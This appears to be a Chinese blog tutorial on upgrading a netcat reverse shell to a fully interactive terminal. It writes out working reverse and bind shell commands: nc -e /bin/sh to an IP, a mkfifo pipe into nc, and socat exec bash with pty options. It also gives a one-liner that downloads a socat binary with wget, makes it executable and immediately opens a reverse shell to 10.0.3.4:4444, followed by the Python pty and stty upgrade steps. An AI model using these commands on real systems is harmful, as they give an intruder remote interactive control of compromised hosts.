一、nc反向shell的问题

在《Linux一句话反向shell原理》一文中有提到,通过一句话shell获取一个反向连接的shell。由于nc在一些操作系统版本上没有-e参数,所以里面使用的bash -i 重定向的方法。但是在使用nc产生的反向shell时,会出现vim、top等无法使用、tab补全时显时异常、按ctr+c会自动退出等问题。具体如下图(使用vim时报了Vim: warning: Input is not from a terminal的错误):

nc-vim-terminal
nc-vim-terminal

上图使用的测试命令如下:

1nc -lvp 3000  (控制机)
2nc -e /bin/sh 10.212.52.100 3000 (被控机)

同样,在nc没有-e参数的情况下,可以使用我上文提到的bash -i,或者其变种方法,如:

1rm -f x; mkfifo x; /bin/sh 2>&1 < x | nc 10.212.52.100 3000 > x

使用socat(升级版nc)时,如果参数未加全的情况下,也会出现上面的问题。例如,下面一个正向shell :

socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash (被控端)
socat – TCP:10.212.52.252:1337 (控制端)

二、使用socat解决

1、socat正向shell

1socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane   (被控端)
2socat FILE:`tty`,raw,echo=0 TCP:10.212.52.252:1337  (控制端)

注:建议不用正向shell,因为任何主机都能连上被控机,如果是反向shell,则是控制端起监听,被控主机主动给一个shell让控制端控制。

2、socat反向shell

1socat file:`tty`,raw,echo=0 tcp-listen:4444   (控制机)
2socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444  (被控制机)

不过使用socat有两个缺点,这里也一一解决。

3、socat的缺点

使用socat后,vim、top这类命令完全OK。tab也可以正常的显示和补全了,ctrl + c再怎么执行也不会退出了。是不是很欢脱,不过其也存在两个缺点:

缺点1:

不是所有的类型的主机源里都有socat,不过这个可以通过网络上下载使用(主机无法上网时又要内网源,麻烦),其项目下载页:https://github.com/andrew-d/static-binaries ,一句话下载使用:

1wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

缺点2:

socat生成的shell默认大小是80×24大小的,使用ps等命令时可能会出现显示不全的问题。这时候就需要重设tty size,操作如下:

1$ stty -a
2speed 38400 baud; rows 40; columns 130; line = 0
3$ stty rows 40 cols 130

三、nc python pty升级

先来个一步步的操作方法,前面一切不变,先控制端nc监听一个端口,被控端bash -i给一个反向shell,连接成功后,使用Python pty模块生成一个带原生终端的shell。命令如下:

1python -c 'import pty; pty.spawn("/bin/bash")'    //按ctrl + z放后台暂存,此时会返回原控制端主机shell
2stty raw -echo    //控制端主机执行
3fg     //调之前的nc和python pty到前台,重新回到了被控制的主机上
4reset
5export SHELL=bash
6export TERM=xterm256-color
7stty rows 38 columns 116

当然这个步骤也可以精简一下,控制端在连接时就执行如下命令:

1stty -echo raw; nc -lp 3000; stty sane
2连接成功后,直接输入python -c 'import pty; pty.spawn("/bin/bash")'

nc-python-tty
nc-python-tty

此时如果使用ps觉得终端不够大时,可以再使用 stty rows 38 columns 116调整终端大小。